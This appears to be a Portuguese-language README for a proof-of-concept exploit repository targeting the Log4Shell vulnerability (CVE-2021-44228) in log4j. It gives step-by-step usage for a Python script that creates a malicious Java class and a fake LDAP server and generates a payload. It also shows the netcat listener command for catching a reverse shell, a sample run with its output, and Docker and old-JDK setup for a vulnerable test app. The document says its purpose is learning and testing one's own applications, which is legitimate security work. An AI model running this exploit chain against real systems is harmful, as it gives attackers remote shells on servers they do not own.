
Uma Prova de Conceito para a vulnerabilidade CVE-2021-44228 recentemente encontrada.
Recentemente foi descoberta uma nova vulnerabilidade no log4j, uma biblioteca de logging em Java que é amplamente utilizada em projetos como elasticsearch, minecraft e muitos outros.
Neste repositório há um exemplo de aplicação vulnerável e a exploração (POC) da mesma.
Como PoC, há um arquivo Python que automatiza o processo.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20, e estar no mesmo diretório.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[+] Exploit java class created success
[+] Setting up fake LDAP server
Listening on 0.0.0.0:1389
Este script configurará o servidor HTTP e o servidor LDAP para você, e também criará o payload que pode ser usado para colar no parâmetro vulnerável. Depois disso, se tudo correr bem, você deve obter um shell na porta lport.
Existe um Dockerfile com a webapp vulnerável. Você pode usá-lo seguindo os passos abaixo:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
Quando estiver em execução, você pode acessá-la em localhost:8080
A Oracle, felizmente, fornece um arquivo com todas as versões anteriores do Java:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Role para baixo até 8u20 e baixe os arquivos apropriados para o seu sistema operacional e hardware.

Nota: Você precisa criar uma conta para conseguir baixar o pacote.
Depois de baixar e extrair o arquivo, você pode encontrar java e alguns binários relacionados em jdk1.8.0_20/bin.
Nota: Certifique-se de extrair a pasta do jdk para este repositório com o mesmo nome para que funcione.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Este repositório não tem a intenção de ser um exploit de um clique para CVE-2021-44228. O objetivo deste projeto é ajudar as pessoas a aprenderem sobre essa vulnerabilidade e, talvez, testarem suas próprias aplicações (no entanto, existem aplicações melhores para esse fim, ex: https://log4shell.tools/).